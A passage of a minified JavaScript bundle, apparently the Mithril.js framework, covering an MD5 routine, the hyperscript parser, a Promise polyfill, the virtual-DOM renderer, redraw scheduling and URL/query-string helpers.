(p = m(p, d, h, u, l[f + 8], 11, -2022574463)),
(u = m(u, p, d, h, l[f + 11], 16, 1839030562)),
(h = m(h, u, p, d, l[f + 14], 23, -35309556)),
(d = m(d, h, u, p, l[f + 1], 4, -1530992060)),
(p = m(p, d, h, u, l[f + 4], 11, 1272893353)),
(u = m(u, p, d, h, l[f + 7], 16, -155497632)),
(h = m(h, u, p, d, l[f + 10], 23, -1094730640)),
(d = m(d, h, u, p, l[f + 13], 4, 681279174)),
(p = m(p, d, h, u, l[f + 0], 11, -358537222)),
(u = m(u, p, d, h, l[f + 3], 16, -722521979)),
(h = m(h, u, p, d, l[f + 6], 23, 76029189)),
(d = m(d, h, u, p, l[f + 9], 4, -640364487)),
(p = m(p, d, h, u, l[f + 12], 11, -421815835)),
(u = m(u, p, d, h, l[f + 15], 16, 530742520)),
(h = m(h, u, p, d, l[f + 2], 23, -995338651)),
(d = _(d, h, u, p, l[f + 0], 6, -198630844)),
(p = _(p, d, h, u, l[f + 7], 10, 1126891415)),
(u = _(u, p, d, h, l[f + 14], 15, -1416354905)),
(h = _(h, u, p, d, l[f + 5], 21, -57434055)),
(d = _(d, h, u, p, l[f + 12], 6, 1700485571)),
(p = _(p, d, h, u, l[f + 3], 10, -1894986606)),
(u = _(u, p, d, h, l[f + 10], 15, -1051523)),
(h = _(h, u, p, d, l[f + 1], 21, -2054922799)),
(d = _(d, h, u, p, l[f + 8], 6, 1873313359)),
(p = _(p, d, h, u, l[f + 15], 10, -30611744)),
(u = _(u, p, d, h, l[f + 6], 15, -1560198380)),
(h = _(h, u, p, d, l[f + 13], 21, 1309151649)),
(d = _(d, h, u, p, l[f + 4], 6, -145523070)),
(p = _(p, d, h, u, l[f + 11], 10, -1120210379)),
(u = _(u, p, d, h, l[f + 2], 15, 718787259)),
(h = _(h, u, p, d, l[f + 9], 21, -343485551)),
(d = (d + k) >>> 0),
(h = (h + v) >>> 0),
(u = (u + b) >>> 0),
(p = (p + w) >>> 0);
}
return t.endian([d, h, u, p]);
};
(a._ff = function (t, n, i, o, a, r, s) {
var l = t + ((n & i) | (~n & o)) + (a >>> 0) + s;
return ((l << r) | (l >>> (32 - r))) + n;
}),
(a._gg = function (t, n, i, o, a, r, s) {
var l = t + ((n & o) | (i & ~o)) + (a >>> 0) + s;
return ((l << r) | (l >>> (32 - r))) + n;
}),
(a._hh = function (t, n, i, o, a, r, s) {
var l = t + (n ^ i ^ o) + (a >>> 0) + s;
return ((l << r) | (l >>> (32 - r))) + n;
}),
(a._ii = function (t, n, i, o, a, r, s) {
var l = t + (i ^ (n | ~o)) + (a >>> 0) + s;
return ((l << r) | (l >>> (32 - r))) + n;
}),
(a._blocksize = 16),
(a._digestsize = 16),
(Fc.exports = function (n, i) {
if (null == n) throw Error("Illegal argument " + n);
var r = t.wordsToBytes(a(n, i));
return i && i.asBytes
? r
: i && i.asString
? o.bytesToString(r)
: t.bytesToHex(r);
});
})();
var Nc = Ge(),
Jr = function () {
var t,
n = arguments[this],
i = this + 1;
if (
(null == n
? (n = {})
: ("object" != typeof n || null != n.tag || Array.isArray(n)) &&
((n = {}), (i = this)),
arguments.length === i + 1)
)
(t = arguments[i]), Array.isArray(t) || (t = [t]);
else for (t = []; i < arguments.length; ) t.push(arguments[i++]);
return Nc("", n.key, n, t);
},
Ci = {}.hasOwnProperty,
qc = Ge(),
Wc = Jr,
pt = Ci,
Xc =
/(?:(^|#|\.)([^#\.\[\]]+))|(\[(.+?)(?:\s*=\s*("|'|)((?:\\["'\]]|.)*?)\5)?\])/g,
Qr = {};
function Fs(t) {
for (var n in t) if (pt.call(t, n)) return !1;
return !0;
}
function Gc(t) {
for (var n, i = "div", o = [], a = {}; (n = Xc.exec(t)); ) {
var r = n[1],
s = n[2];
if ("" === r && "" !== s) i = s;
else if ("#" === r) a.id = s;
else if ("." === r) o.push(s);
else if ("[" === n[3][0]) {
var l = n[6];
l && (l = l.replace(/\\(["'])/g, "$1").replace(/\\\\/g, "\\")),
"class" === n[4] ? o.push(l) : (a[n[4]] = "" === l ? l : l || !0);
}
}
return (
o.length > 0 && (a.className = o.join(" ")),
(Qr[t] = {
tag: i,
attrs: a,
})
);
}
function Yc(t, n) {
var i = n.attrs,
o = pt.call(i, "class"),
a = o ? i.class : i.className;
if (((n.tag = t.tag), (n.attrs = {}), !Fs(t.attrs) && !Fs(i))) {
var r = {};
for (var s in i) pt.call(i, s) && (r[s] = i[s]);
i = r;
}
for (var s in t.attrs)
pt.call(t.attrs, s) &&
"className" !== s &&
!pt.call(i, s) &&
(i[s] = t.attrs[s]);
for (var s in ((null != a || null != t.attrs.className) &&
(i.className =
null != a
? null != t.attrs.className
? String(t.attrs.className) + " " + String(a)
: a
: null != t.attrs.className
? t.attrs.className
: null),
o && (i.class = null),
i))
if (pt.call(i, s) && "key" !== s) {
n.attrs = i;
break;
}
return n;
}
function $c(t) {
if (
null == t ||
("string" != typeof t &&
"function" != typeof t &&
"function" != typeof t.view)
)
throw Error("The selector must be either a string or a component.");
var n = Wc.apply(1, arguments);
return "string" == typeof t &&
((n.children = qc.normalizeChildren(n.children)), "[" !== t)
? Yc(Qr[t] || Gc(t), n)
: ((n.tag = t), n);
}
var Zr = $c,
Kc = Ge(),
Jc = function (t) {
return null == t && (t = ""), Kc("<", void 0, void 0, t, void 0, void 0);
},
Qc = Ge(),
Zc = Jr,
jc = function () {
var t = Zc.apply(0, arguments);
return (t.tag = "["), (t.children = Qc.normalizeChildren(t.children)), t;
},
ns = Zr;
(ns.trust = Jc), (ns.fragment = jc);
var ji,
Hs,
tn,
Vs,
eh = ns,
yi = {},
en = {
get exports() {
return yi;
},
set exports(e) {
yi = e;
},
};
function jr() {
if (Vs) return tn;
Vs = 1;
var t = function (n) {
if (!(this instanceof t)) throw Error("Promise must be called with 'new'.");
if ("function" != typeof n) throw TypeError("executor must be a function.");
var i = this,
o = [],
a = [],
r = d(o, !0),
s = d(a, !1),
l = (i._instance = {
resolvers: o,
rejectors: a,
}),
c = "function" == typeof setImmediate ? setImmediate : setTimeout;
function d(t, n) {
return function r(d) {
var u;
try {
if (
n &&
null != d &&
("object" == typeof d || "function" == typeof d) &&
"function" == typeof (u = d.then)
) {
if (d === i)
throw TypeError("Promise can't be resolved with itself.");
h(u.bind(d));
} else
c(function () {
n ||
0 !== t.length ||
console.error("Possible unhandled promise rejection:", d);
for (var i = 0; i < t.length; i++) t[i](d);
(o.length = 0),
(a.length = 0),
(l.state = n),
(l.retry = function () {
r(d);
});
});
} catch (p) {
s(p);
}
};
}
function h(t) {
var n = 0;
function i(t) {
return function (i) {
n++ > 0 || t(i);
};
}
var o = i(s);
try {
t(i(r), o);
} catch (a) {
o(a);
}
}
h(n);
};
return (
(t.prototype.then = function (n, i) {
var o = this._instance;
function a(t, n, i, a) {
n.push(function (n) {
if ("function" != typeof t) i(n);
else
try {
r(t(n));
} catch (o) {
s && s(o);
}
}),
"function" == typeof o.retry && a === o.state && o.retry();
}
var r,
s,
l = new t(function (t, n) {
(r = t), (s = n);
});
return a(n, o.resolvers, r, !0), a(i, o.rejectors, s, !1), l;
}),
(t.prototype.catch = function (t) {
return this.then(null, t);
}),
(t.prototype.finally = function (n) {
return this.then(
function (i) {
return t.resolve(n()).then(function () {
return i;
});
},
function (i) {
return t.resolve(n()).then(function () {
return t.reject(i);
});
}
);
}),
(t.resolve = function (n) {
return n instanceof t
? n
: new t(function (t) {
t(n);
});
}),
(t.reject = function (n) {
return new t(function (t, i) {
i(n);
});
}),
(t.all = function (n) {
return new t(function (t, i) {
var o = n.length,
a = 0,
r = [];
if (0 === n.length) t([]);
else
for (var s = 0; s < n.length; s++)
(function (s) {
function l(n) {
a++, (r[s] = n), a === o && t(r);
}
null != n[s] &&
("object" == typeof n[s] || "function" == typeof n[s]) &&
"function" == typeof n[s].then
? n[s].then(l, i)
: l(n[s]);
})(s);
});
}),
(t.race = function (n) {
return new t(function (t, i) {
for (var o = 0; o < n.length; o++) n[o].then(t, i);
});
}),
(tn = t)
);
}
var _t = jr();
function th() {
if (Us) return nn;
Us = 1;
var t = Ge();
return (nn = function (n) {
var i,
o,
a = n && n.document,
r = {
svg: "http://www.w3.org/2000/svg",
math: "http://www.w3.org/1998/Math/MathML",
};
function s(t) {
return (t.attrs && t.attrs.xmlns) || r[t.tag];
}
function l(t, n) {
if (t.state !== n) throw Error("'vnode.state' must not be modified.");
}
function c(t) {
var n = t.state;
try {
return this.apply(n, arguments);
} finally {
l(t, n);
}
}
function d() {
try {
return a.activeElement;
} catch {
return null;
}
}
function h(t, n, i, o, a, r, s) {
for (var l = i; l < o; l++) {
var c = n[l];
null != c && u(t, c, a, s, r);
}
}
function u(n, i, o, r, l) {
var d,
p,
$,
g,
m,
_,
k,
v,
x = i.tag;
if ("string" == typeof x)
switch (((i.state = {}), null != i.attrs && N(i.attrs, i, o), x)) {
case "#":
(d = n),
(p = i),
($ = l),
(p.dom = a.createTextNode(p.children)),
b(d, p.dom, $);
break;
case "<":
f(n, i, r, l);
break;
case "[":
!(function t(n, i, o, r, s) {
var l = a.createDocumentFragment();
if (null != i.children) {
var c = i.children;
h(l, c, 0, c.length, o, null, r);
}
(i.dom = l.firstChild),
(i.domSize = l.childNodes.length),
b(n, l, s);
})(n, i, o, r, l);
break;
default:
!(function t(n, i, o, r, l) {
var c = i.tag,
d = i.attrs,
u = d && d.is,
p = (r = s(i) || r)
? u
? a.createElementNS(r, c, {
is: u,
})
: a.createElementNS(r, c)
: u
? a.createElement(c, {
is: u,
})
: a.createElement(c);
if (
((i.dom = p),
null != d &&
(function t(n, i, o) {
"input" === n.tag &&
null != i.type &&
n.dom.setAttribute("type", i.type);
var a = null != i && "input" === n.tag && "file" === i.type;
for (var r in i) A(n, r, null, i[r], o, a);
})(i, d, r),
b(n, p, l),
!w(i) && null != i.children)
) {
var f = i.children;
h(p, f, 0, f.length, o, null, r),
"select" === i.tag &&
null != d &&
(function t(n, i) {
if ("value" in i) {
if (null === i.value)
-1 !== n.dom.selectedIndex && (n.dom.value = null);
else {
var o = "" + i.value;
(n.dom.value !== o || -1 === n.dom.selectedIndex) &&
(n.dom.value = o);
}
}
"selectedIndex" in i &&
A(n, "selectedIndex", null, i.selectedIndex, void 0);
})(i, d);
}
})(n, i, o, r, l);
}
else {
(g = n),
(m = i),
(_ = o),
(k = r),
(v = l),
(function n(i, o) {
var a;
if ("function" == typeof i.tag.view) {
if (
((i.state = Object.create(i.tag)),
null != (a = i.state.view).$$reentrantLock$$)
)
return;
a.$$reentrantLock$$ = !0;
} else {
if (((i.state = void 0), null != (a = i.tag).$$reentrantLock$$))
return;
(a.$$reentrantLock$$ = !0),
(i.state =
null != i.tag.prototype &&
"function" == typeof i.tag.prototype.view
? new i.tag(i)
: i.tag(i));
}
if (
(N(i.state, i, o),
null != i.attrs && N(i.attrs, i, o),
(i.instance = t.normalize(c.call(i.state.view, i))),
i.instance === i)
)
throw Error(
"A view cannot return the vnode it received as argument"
);
a.$$reentrantLock$$ = null;
})(m, _),
null != m.instance
? (u(g, m.instance, _, k, v),
(m.dom = m.instance.dom),
(m.domSize = null != m.dom ? m.instance.domSize : 0))
: (m.domSize = 0);
}
}
var p = {
caption: "table",
thead: "table",
tbody: "table",
tfoot: "table",
tr: "tbody",
th: "tr",
td: "tr",
colgroup: "table",
col: "colgroup",
};
function f(t, n, i, o) {
var r = n.children.match(/^\s*?<(\w+)/im) || [],
s = a.createElement(p[r[1]] || "div");
"http://www.w3.org/2000/svg" === i
? ((s.innerHTML =
'<svg xmlns="http://www.w3.org/2000/svg">' + n.children + "</svg>"),
(s = s.firstChild))
: (s.innerHTML = n.children),
(n.dom = s.firstChild),
(n.domSize = s.childNodes.length),
(n.instance = []);
for (var l, c = a.createDocumentFragment(); (l = s.firstChild); )
n.instance.push(l), c.appendChild(l);
b(t, c, o);
}
function $(t, n, i, o, a, r) {
if (!(n === i || (null == n && null == i))) {
if (null == n || 0 === n.length) h(t, i, 0, i.length, o, a, r);
else if (null == i || 0 === i.length) x(t, n, 0, n.length);
else {
var s = null != n[0] && null != n[0].key,
l = null != i[0] && null != i[0].key,
c = 0,
d = 0;
if (!s) for (; d < n.length && null == n[d]; ) d++;
if (!l) for (; c < i.length && null == i[c]; ) c++;
if (s !== l) x(t, n, d, n.length), h(t, i, c, i.length, o, a, r);
else if (l) {
for (
var p, f, $, b, w, I, P = n.length - 1, O = i.length - 1;
P >= d && O >= c && ((b = n[P]), (w = i[O]), b.key === w.key);
)
b !== w && g(t, b, w, o, a, r),
null != w.dom && (a = w.dom),
P--,
O--;
for (
;
P >= d && O >= c && ((f = n[d]), ($ = i[c]), f.key === $.key);
)
d++, c++, f !== $ && g(t, f, $, o, k(n, d, a), r);
for (
;
P >= d &&
O >= c &&
!(c === O || f.key !== w.key || b.key !== $.key);
)
v(t, b, (I = k(n, d, a))),
b !== $ && g(t, b, $, o, I, r),
++c <= --O && v(t, f, a),
f !== w && g(t, f, w, o, a, r),
null != w.dom && (a = w.dom),
d++,
(b = n[--P]),
(w = i[O]),
(f = n[d]),
($ = i[c]);
for (; P >= d && O >= c && b.key === w.key; )
b !== w && g(t, b, w, o, a, r),
null != w.dom && (a = w.dom),
P--,
O--,
(b = n[P]),
(w = i[O]);
if (c > O) x(t, n, d, P + 1);
else if (d > P) h(t, i, c, O + 1, o, a, r);
else {
var p,
A,
B = a,
D = O - c + 1,
z = Array(D),
W = 0,
L = 0,
H = 2147483647,
V = 0;
for (L = 0; L < D; L++) z[L] = -1;
for (L = O; L >= c; L--) {
null == p && (p = m(n, d, P + 1));
var F = p[(w = i[L]).key];
null != F &&
((H = F < H ? F : -1),
(z[L - c] = F),
(b = n[F]),
(n[F] = null),
b !== w && g(t, b, w, o, a, r),
null != w.dom && (a = w.dom),
V++);
}
if (((a = B), V !== P - d + 1 && x(t, n, d, P + 1), 0 === V))
h(t, i, c, O + 1, o, a, r);
else if (-1 === H)
for (
W =
(A = (function t(n) {
for (
var i = [0],
o = 0,
a = 0,
r = 0,
s = (_.length = n.length),
r = 0;
r < s;
r++
)
_[r] = n[r];
for (var r = 0; r < s; ++r)
if (-1 !== n[r]) {
var l = i[i.length - 1];
if (n[l] < n[r]) {
(_[r] = l), i.push(r);
continue;
}
for (o = 0, a = i.length - 1; o < a; ) {
var c = (o >>> 1) + (a >>> 1) + (o & a & 1);
n[i[c]] < n[r] ? (o = c + 1) : (a = c);
}
n[r] < n[i[o]] &&
(o > 0 && (_[r] = i[o - 1]), (i[o] = r));
}
for (a = i[(o = i.length) - 1]; o-- > 0; )
(i[o] = a), (a = _[a]);
return (_.length = 0), i;
})(z)).length - 1,
L = O;
L >= c;
L--
)
($ = i[L]),
-1 === z[L - c]
? u(t, $, o, r, a)
: A[W] === L - c
? W--
: v(t, $, a),
null != $.dom && (a = i[L].dom);
else
for (L = O; L >= c; L--)
($ = i[L]),
-1 === z[L - c] && u(t, $, o, r, a),
null != $.dom && (a = i[L].dom);
}
} else {
var U = n.length < i.length ? n.length : i.length;
for (c = c < d ? c : d; c < U; c++)
(f = n[c]) === ($ = i[c]) ||
(null == f && null == $) ||
(null == f
? u(t, $, o, r, k(n, c + 1, a))
: null == $
? S(t, f)
: g(t, f, $, o, k(n, c + 1, a), r));
n.length > U && x(t, n, c, n.length),
i.length > U && h(t, i, c, i.length, o, a, r);
}
}
}
}
function g(n, i, o, a, r, l) {
var d,
h,
p,
m,
_,
k,
v,
b,
x,
P,
O,
D,
z = i.tag;
if (z === o.tag) {
if (
((o.state = i.state),
(o.events = i.events),
(function t(n, i) {
do {
if (
null != n.attrs &&
"function" == typeof n.attrs.onbeforeupdate
) {
var o = c.call(n.attrs.onbeforeupdate, n, i);
if (void 0 !== o && !o) break;
}
if (
"string" != typeof n.tag &&
"function" == typeof n.state.onbeforeupdate
) {
var o = c.call(n.state.onbeforeupdate, n, i);
if (void 0 !== o && !o) break;
}
return !1;
} while (!1);
return (
(n.dom = i.dom),
(n.domSize = i.domSize),
(n.instance = i.instance),
(n.attrs = i.attrs),
(n.children = i.children),
(n.text = i.text),
!0
);
})(o, i))
)
return;
if ("string" == typeof z)
switch ((null != o.attrs && q(o.attrs, o, a), z)) {
case "#":
(d = i),
(h = o),
d.children.toString() !== h.children.toString() &&
(d.dom.nodeValue = h.children),
(h.dom = d.dom);
break;
case "<":
(p = n),
(m = i),
(_ = o),
(k = l),
(v = r),
m.children !== _.children
? (I(p, m), f(p, _, k, v))
: ((_.dom = m.dom),
(_.domSize = m.domSize),
(_.instance = m.instance));
break;
case "[":
!(function t(n, i, o, a, r, s) {
$(n, i.children, o.children, a, r, s);
var l = 0,
c = o.children;
if (((o.dom = null), null != c)) {
for (var d = 0; d < c.length; d++) {
var h = c[d];
null != h &&
null != h.dom &&
(null == o.dom && (o.dom = h.dom), (l += h.domSize || 1));
}
1 !== l && (o.domSize = l);
}
})(n, i, o, a, r, l);
break;
default:
(b = i),
(x = o),
(P = a),
(O = l),
(D = x.dom = b.dom),
(O = s(x) || O),
"textarea" === x.tag && null == x.attrs && (x.attrs = {}),
(function t(n, i, o, a) {
if (
(i &&
i === o &&
console.warn(
"Don't reuse attrs object, use new object for every redraw, this will throw in next major"
),
null != o)
) {
"input" === n.tag &&
null != o.type &&
n.dom.setAttribute("type", o.type);
var r,
s = "input" === n.tag && "file" === o.type;
for (var l in o) A(n, l, i && i[l], o[l], a, s);
}
if (null != i)
for (var l in i)
null != (r = i[l]) &&
(null == o || null == o[l]) &&
B(n, l, r, a);
})(x, b.attrs, x.attrs, O),
w(x) || $(D, b.children, x.children, P, null, O);
}
else
!(function n(i, o, a, r, s, l) {
if (
((a.instance = t.normalize(c.call(a.state.view, a))),
a.instance === a)
)
throw Error(
"A view cannot return the vnode it received as argument"
);
q(a.state, a, r),
null != a.attrs && q(a.attrs, a, r),
null != a.instance
? (null == o.instance
? u(i, a.instance, r, l, s)
: g(i, o.instance, a.instance, r, s, l),
(a.dom = a.instance.dom),
(a.domSize = a.instance.domSize))
: null != o.instance
? (S(i, o.instance), (a.dom = void 0), (a.domSize = 0))
: ((a.dom = o.dom), (a.domSize = o.domSize));
})(n, i, o, a, r, l);
} else S(n, i), u(n, o, a, l, r);
}
function m(t, n, i) {
for (var o = Object.create(null); n < i; n++) {
var a = t[n];
if (null != a) {
var r = a.key;
null != r && (o[r] = n);
}
}
return o;
}
var _ = [];
function k(t, n, i) {
for (; n < t.length; n++)
if (null != t[n] && null != t[n].dom) return t[n].dom;
return i;
}
function v(t, n, i) {
var o = a.createDocumentFragment();
(function t(n, i, o) {
for (; null != o.dom && o.dom.parentNode === n; ) {
if ("string" != typeof o.tag) {
if (null != (o = o.instance)) continue;
} else if ("<" === o.tag)
for (var a = 0; a < o.instance.length; a++)
i.appendChild(o.instance[a]);
else if ("[" !== o.tag) i.appendChild(o.dom);
else if (1 === o.children.length) {
if (null != (o = o.children[0])) continue;
} else
for (var a = 0; a < o.children.length; a++) {
var r = o.children[a];
null != r && t(n, i, r);
}
break;
}
})(t, o, n),
b(t, o, i);
}
function b(t, n, i) {
null != i ? t.insertBefore(n, i) : t.appendChild(n);
}
function w(t) {
if (
null == t.attrs ||
(null == t.attrs.contenteditable && null == t.attrs.contentEditable)
)
return !1;
var n = t.children;
if (null != n && 1 === n.length && "<" === n[0].tag) {
var i = n[0].children;
t.dom.innerHTML !== i && (t.dom.innerHTML = i);
} else if (null != n && 0 !== n.length)
throw Error("Child node of a contenteditable must be trusted.");
return !0;
}
function x(t, n, i, o) {
for (var a = i; a < o; a++) {
var r = n[a];
null != r && S(t, r);
}
}
function S(t, n) {
var i,
o,
a = 0,
r = n.state;
if (
"string" != typeof n.tag &&
"function" == typeof n.state.onbeforeremove
) {
var s = c.call(n.state.onbeforeremove, n);
null != s && "function" == typeof s.then && ((a = 1), (i = s));
}
if (n.attrs && "function" == typeof n.attrs.onbeforeremove) {
var s = c.call(n.attrs.onbeforeremove, n);
null != s && "function" == typeof s.then && ((a |= 2), (o = s));
}
if ((l(n, r), a)) {
if (null != i) {
var d = function () {
1 & a && ((a &= 2) || h());
};
i.then(d, d);
}
if (null != o) {
var d = function () {
2 & a && ((a &= 1) || h());
};
o.then(d, d);
}
} else O(n), P(t, n);
function h() {
l(n, r), O(n), P(t, n);
}
}
function I(t, n) {
for (var i = 0; i < n.instance.length; i++) t.removeChild(n.instance[i]);
}
function P(t, n) {
for (; null != n.dom && n.dom.parentNode === t; ) {
if ("string" != typeof n.tag) {
if (null != (n = n.instance)) continue;
} else if ("<" === n.tag) I(t, n);
else {
if (
"[" !== n.tag &&
(t.removeChild(n.dom), !Array.isArray(n.children))
)
break;
if (1 === n.children.length) {
if (null != (n = n.children[0])) continue;
} else
for (var i = 0; i < n.children.length; i++) {
var o = n.children[i];
null != o && P(t, o);
}
}
break;
}
}
function O(t) {
if (
("string" != typeof t.tag &&
"function" == typeof t.state.onremove &&
c.call(t.state.onremove, t),
t.attrs &&
"function" == typeof t.attrs.onremove &&
c.call(t.attrs.onremove, t),
"string" != typeof t.tag)
)
null != t.instance && O(t.instance);
else {
var n = t.children;
if (Array.isArray(n))
for (var i = 0; i < n.length; i++) {
var o = n[i];
null != o && O(o);
}
}
}
function A(t, n, i, o, r, s) {
var l, c;
if (
!(
"key" === n ||
"is" === n ||
null == o ||
D(n) ||
(i === o &&
((l = t),
(c = n),
"value" !== c &&
"checked" !== c &&
"selectedIndex" !== c &&
("selected" !== c || l.dom !== d()) &&
("option" !== l.tag || l.dom.parentNode !== a.activeElement)) &&
"object" != typeof o) ||
("type" === n && "input" === t.tag)
)
) {
if ("o" === n[0] && "n" === n[1]) return U(t, n, o);
if ("xlink:" === n.slice(0, 6))
t.dom.setAttributeNS("http://www.w3.org/1999/xlink", n.slice(6), o);
else if ("style" === n) V(t.dom, i, o);
else if (z(t, n, r)) {
if ("value" === n) {
if (
(("input" === t.tag || "textarea" === t.tag) &&
t.dom.value === "" + o &&
(s || t.dom === d())) ||
("select" === t.tag && null !== i && t.dom.value === "" + o) ||
("option" === t.tag && null !== i && t.dom.value === "" + o)
)
return;
if (s && "" + o != "") {
console.error("`value` is read-only on file inputs!");
return;
}
}
t.dom[n] = o;
} else
"boolean" == typeof o
? o
? t.dom.setAttribute(n, "")
: t.dom.removeAttribute(n)
: t.dom.setAttribute("className" === n ? "class" : n, o);
}
}
function B(t, n, i, o) {
if (!("key" === n || "is" === n || null == i || D(n))) {
if ("o" === n[0] && "n" === n[1]) U(t, n, void 0);
else if ("style" === n) V(t.dom, i, null);
else if (
z(t, n, o) &&
"className" !== n &&
"title" !== n &&
("value" !== n ||
("option" !== t.tag &&
("select" !== t.tag ||
-1 !== t.dom.selectedIndex ||
t.dom !== d()))) &&
("input" !== t.tag || "type" !== n)
)
t.dom[n] = null;
else {
var a = n.indexOf(":");
-1 !== a && (n = n.slice(a + 1)),
!1 !== i && t.dom.removeAttribute("className" === n ? "class" : n);
}
}
}
function D(t) {
return (
"oninit" === t ||
"oncreate" === t ||
"onupdate" === t ||
"onremove" === t ||
"onbeforeremove" === t ||
"onbeforeupdate" === t
);
}
function z(t, n, i) {
return (
void 0 === i &&
(t.tag.indexOf("-") > -1 ||
(null != t.attrs && t.attrs.is) ||
("href" !== n &&
"list" !== n &&
"form" !== n &&
"width" !== n &&
"height" !== n)) &&
n in t.dom
);
}
var W = /[A-Z]/g;
function L(t) {
return "-" + t.toLowerCase();
}
function H(t) {
return "-" === t[0] && "-" === t[1]
? t
: "cssFloat" === t
? "float"
: t.replace(W, L);
}
function V(t, n, i) {
if (n !== i) {
if (null == i) t.style.cssText = "";
else if ("object" != typeof i) t.style.cssText = i;
else if (null == n || "object" != typeof n)
for (var o in ((t.style.cssText = ""), i)) {
var a = i[o];
null != a && t.style.setProperty(H(o), String(a));
}
else {
for (var o in i) {
var a = i[o];
null != a &&
(a = String(a)) !== String(n[o]) &&
t.style.setProperty(H(o), a);
}
for (var o in n)
null != n[o] && null == i[o] && t.style.removeProperty(H(o));
}
}
}
function F() {
this._ = o;
}
function U(t, n, i) {
null != t.events
? ((t.events._ = o),
t.events[n] !== i &&
(null != i && ("function" == typeof i || "object" == typeof i)
? (null == t.events[n] &&
t.dom.addEventListener(n.slice(2), t.events, !1),
(t.events[n] = i))
: (null != t.events[n] &&
t.dom.removeEventListener(n.slice(2), t.events, !1),
(t.events[n] = void 0))))
: null != i &&
("function" == typeof i || "object" == typeof i) &&
((t.events = new F()),
t.dom.addEventListener(n.slice(2), t.events, !1),
(t.events[n] = i));
}
function N(t, n, i) {
"function" == typeof t.oninit && c.call(t.oninit, n),
"function" == typeof t.oncreate && i.push(c.bind(t.oncreate, n));
}
function q(t, n, i) {
"function" == typeof t.onupdate && i.push(c.bind(t.onupdate, n));
}
return (
(F.prototype = Object.create(null)),
(F.prototype.handleEvent = function (t) {
var n,
i = this["on" + t.type];
"function" == typeof i
? (n = i.call(t.currentTarget, t))
: "function" == typeof i.handleEvent && i.handleEvent(t),
this._ && !1 !== t.redraw && (0, this._)(),
!1 === n && (t.preventDefault(), t.stopPropagation());
}),
function (n, a, r) {
if (!n)
throw TypeError("DOM element being rendered to does not exist.");
if (null != i && n.contains(i))
throw TypeError(
"Node is currently being rendered to and thus is locked."
);
var s = o,
l = i,
c = [],
h = d(),
u = n.namespaceURI;
(i = n), (o = "function" == typeof r ? r : void 0);
try {
null == n.vnodes && (n.textContent = ""),
(a = t.normalizeChildren(Array.isArray(a) ? a : [a])),
$(
n,
n.vnodes,
a,
c,
null,
"http://www.w3.org/1999/xhtml" === u ? void 0 : u
),
(n.vnodes = a),
null != h && d() !== h && "function" == typeof h.focus && h.focus();
for (var p = 0; p < c.length; p++) c[p]();
} finally {
(o = s), (i = l);
}
}
);
});
}
function eo() {
return Ls || ((Ls = 1), (sn = th()("u" > typeof window ? window : null))), sn;
}
"u" > typeof window
? (typeof window.Promise > "u"
? (window.Promise = _t)
: window.Promise.prototype.finally ||
(window.Promise.prototype.finally = _t.prototype.finally),
(en.exports = window.Promise))
: "u" > typeof rt
? (typeof rt.Promise > "u"
? (rt.Promise = _t)
: rt.Promise.prototype.finally ||
(rt.Promise.prototype.finally = _t.prototype.finally),
(en.exports = rt.Promise))
: (en.exports = _t);
var nn,
Us,
sn,
Ls,
rn,
qs,
Ns = Ge(),
ih = function (t, n, i) {
var o = [],
a = !1,
r = -1;
function s() {
for (r = 0; r < o.length; r += 2)
try {
t(o[r], Ns(o[r + 1]), l);
} catch (n) {
i.error(n);
}
r = -1;
}
function l() {
a ||
((a = !0),
n(function () {
(a = !1), s();
}));
}
return (
(l.sync = s),
{
mount: function n(i, a) {
if (null != a && null == a.view && "function" != typeof a)
throw TypeError("m.mount expects a component, not a vnode.");
var s = o.indexOf(i);
s >= 0 && (o.splice(s, 2), s <= r && (r -= 2), t(i, [])),
null != a && (o.push(i, a), t(i, Ns(a), l));
},
redraw: l,
}
);
},
nh = eo(),
ss = ih(
nh,
"u" > typeof requestAnimationFrame ? requestAnimationFrame : null,
"u" > typeof console ? console : null
);
function to() {
return (
qs ||
((qs = 1),
(rn = function (t) {
if ("[object Object]" !== Object.prototype.toString.call(t)) return "";
var n = [];
for (var i in t) o(i, t[i]);
return n.join("&");
function o(t, i) {
if (Array.isArray(i))
for (var a = 0; a < i.length; a++) o(t + "[" + a + "]", i[a]);
else if ("[object Object]" === Object.prototype.toString.call(i))
for (var a in i) o(t + "[" + a + "]", i[a]);
else
n.push(
encodeURIComponent(t) +
(null != i && "" !== i ? "=" + encodeURIComponent(i) : "")
);
}
})),
rn
);
}
function io() {
if (Ws) return on;
Ws = 1;
var t = Ci;
return (on =
Object.assign ||
function (n, i) {
for (var o in i) t.call(i, o) && (n[o] = i[o]);
});
}
function rs() {
if (Xs) return an;
Xs = 1;
var t = to(),
n = io();
return (an = function (i, o) {
if (/:([^\/\.-]+)(\.{3})?:/.test(i))
throw SyntaxError(
"Template parameter names must be separated by either a '/', '-', or '.'."
);
if (null == o) return i;
var a = i.indexOf("?"),
r = i.indexOf("#"),
s = r < 0 ? i.length : r,
l = i.slice(0, a < 0 ? s : a),
c = {};
n(c, o);
var d = l.replace(/:([^\/\.-]+)(\.{3})?/g, function (t, n, i) {
return (
delete c[n],
null == o[n] ? t : i ? o[n] : encodeURIComponent(String(o[n]))
);
}),
h = d.indexOf("?"),
u = d.indexOf("#"),
p = u < 0 ? d.length : u,
f = h < 0 ? p : h,
$ = d.slice(0, f);
a >= 0 && ($ += i.slice(a, s)),
h >= 0 && ($ += (a < 0 ? "?" : "&") + d.slice(h, p));
var g = t(c);
return (
g && ($ += (a < 0 && h < 0 ? "?" : "&") + g),
r >= 0 && ($ += i.slice(r)),
u >= 0 && ($ += (r < 0 ? "" : "&") + d.slice(u)),
$
);
});
}
var on,
Ws,
an,
Xs,
ln,
Ys,
sh = rs(),
Gs = Ci,
rh = function (t, n, i) {
var o = 0;
function a(t) {
return new n(t);
}
function r(t) {
return function (o, r) {
"string" != typeof o ? ((r = o), (o = o.url)) : null == r && (r = {});
var s = new n(function (n, i) {
t(
sh(o, r.params),
r,
function (t) {
if ("function" == typeof r.type) {
if (Array.isArray(t))
for (var i = 0; i < t.length; i++) t[i] = new r.type(t[i]);
else t = new r.type(t);
}
n(t);
},
i
);
});
if (!0 === r.background) return s;
var l = 0;
function c() {
0 == --l && "function" == typeof i && i();
}
return (function t(n) {
var i = n.then;
return (
(n.constructor = a),
(n.then = function () {
l++;
var o = i.apply(n, arguments);
return (
o.then(c, function (t) {
if ((c(), 0 === l)) throw t;
}),
t(o)
);
}),
n
);
})(s);
};
}
function s(t, n) {
for (var i in t.headers)
if (Gs.call(t.headers, i) && i.toLowerCase() === n) return !0;
return !1;
}
return (
